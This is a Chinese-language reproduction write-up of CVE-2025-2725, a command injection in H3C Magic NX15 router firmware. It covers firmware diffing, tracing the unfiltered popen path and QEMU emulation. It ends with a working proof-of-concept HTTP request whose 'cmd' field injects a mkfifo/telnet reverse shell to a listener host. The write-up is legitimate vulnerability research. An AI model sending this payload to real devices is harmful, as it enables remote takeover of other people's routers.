# H3C-Magic-NX15 cve-2025-2725 复现分析

固件下载地址:👉https://www.h3c.com/cn/Service/Document_Software/Software_Download/Consume_product/Catalog/H3C_N/NX15/?CHID=746147&v=612

由 vulndb 概括:

H3C Magic NX15、Magic NX30 Pro、Magic NX400、Magic R3010 和 Magic BE18000(V100R014 及更高版本)中发现一个被列为严重(Critical)的漏洞。该漏洞影响了 HTTP POST 请求处理程序组件中文件 /api/login/auth 的一些未知功能。操作会导致命令注入。该漏洞编号为 CVE-2025-2725。此攻击需要访问本地网络。此外,还存在一个可用的漏洞利用程序。建议升级受影响的组件。

# 复现流程

从厂家下载固件,并进行 binwalk 解包。由厂家已经更了一个新固件,同时进行解包,看一下里面哪里发生了改变。

image-20250419140741592

可以发现image-20250419191124201

这些函数都有修改过

int __fastcall FCGI_WizardProtoProcess(const char *a1, int a2, int a3)

看一下这个函数,被传入三个参数,大概率是同样调用的函数。我们需要交叉引用定位到上游函数。

image-20250419143053433

int __fastcall FCGI_WizardProcess(const char *a1)

再次定位,可以定位到主函数。

int __fastcall ftext(int argc, const char **argv, const char **envp)

image-20250419143254921

可以发现进入分支是匹配 v11 == /wizard

v10 = getenv(“PATH_INFO”);

v11 = (const char *)v10;

else if ( !strncmp(v11, “/wizard”, 7) )
{
FCGI_WizardProcess(v11);
}

v11 是请求路径 - PATH_INFO

接下来进行分析 int __fastcall FCGI_WizardProtoProcess(const char *a1, int a2, int a3)

image-20250419143643431

路径存在则不会进入此分支。问题不大。

image-20250419143750174

要有请求体长度

image-20250419143854637

这些路径都是我们不能匹配到的。

image-20250419143949084

所以进入此函数,需要匹配到上面请求路径即可,v15 则是请求路径长度。

FCGI_WizardProtoProcess(path_info, path_lent, ct_lent);

至此三个参数已经明晰。

image-20250419144207159

FCGI_WizardProtoProcess 这个分支并没有发现命令注入的点,所以不能进入此分支。

所以,我们不如先去定位到执行系统命令函数。

image-20250419144406934

所以在此函数找到内找到 popen 函数,大概率猜测是 FCGI 库内的执行系统命令的函数,找找这个就行,分析函数内部逻辑即可

..[huan@huan-IOT-Virtual-Platform] - [~/桌面/IOT分析/H3C_Magic_NX15] - [419, 01:41]
..[$] <()> grep -r FCGI_popen               
grep: extractions/NX15V100R014.bin.extracted/1F0000/squashfs-root/usr/lib/libfcgi.so.0.0.0: 匹配到二进制文件

image-20250419144750151

发现调用了 popen,所以这就是可以执行命令的函数。

从下向上分析。

image-20250419191640633

并没有任何过滤,所以可以进行命令注入。

分析的差不多,接下来就使用 qemu 搭建虚拟环境。

# 搭建虚拟环境

image-20250419145644271

主机内

sudo qemu-system-mipsel -nographic -M malta \
  -kernel vmlinux-2.6.32-5-4kc-malta \
  -hda debian_squeeze_mipsel_standard.qcow2 \
  -net nic,macaddr=52:54:00:12:34:56 \
  -net tap \
  -append "root=/dev/sda1 console=ttyS0"

虚拟机内

image-20250419150709792

传输文件

# 主机内
tar -cvf squashfs-root.tar squashfs-root
sudo scp -o HostKeyAlgorithms=+ssh-rsa,ssh-dss -r -O squashfs-root.tar root@192.168.0.1:~/
#虚拟机内
tar -xvf squashfs-root.tar

chroot 设置根目录

root@debian-mipsel:~/squashfs-root# mount -t proc /proc ./proc/
root@debian-mipsel:~/squashfs-root# mount -o bind /dev ./dev/
root@debian-mipsel:~/squashfs-root# chroot ../squashfs-root/ sh

启动 web 服务

mkdir /var/run
mkdir /var/log/
mkdir /var/log/lighttpd
./sbin/procd &
./sbin/ubusd &
./usr/sbin/lighttpd -D -f ./etc/lighttpd/lighttpd.conf &

image-20250419192600159

等待时间一会

image-20250419180101476

虽然在加载,我们去查看接口

image-20250419180206626

显示 200 估计没多大问题。

# 构造 POC

POST /api/wizard/getsyncpppoecfg HTTP/1.1
Host: 192.168.0.1
Content-Type: application/json;charset=utf-8
Origin: http://192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/login
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 108
{"cmd":"'; mkfifo /tmp/f; /usr/bin/telnet 192.168.0.254 10001 < /tmp/f | /bin/sh > /tmp/f; rm /tmp/f; '"}

cmd 是传进的 post 参数

image-20250419193338001

至此攻击流程完毕,还有几个 CVE 流程跟这个一样。

CVE-2025-2725

CVE-2025-2726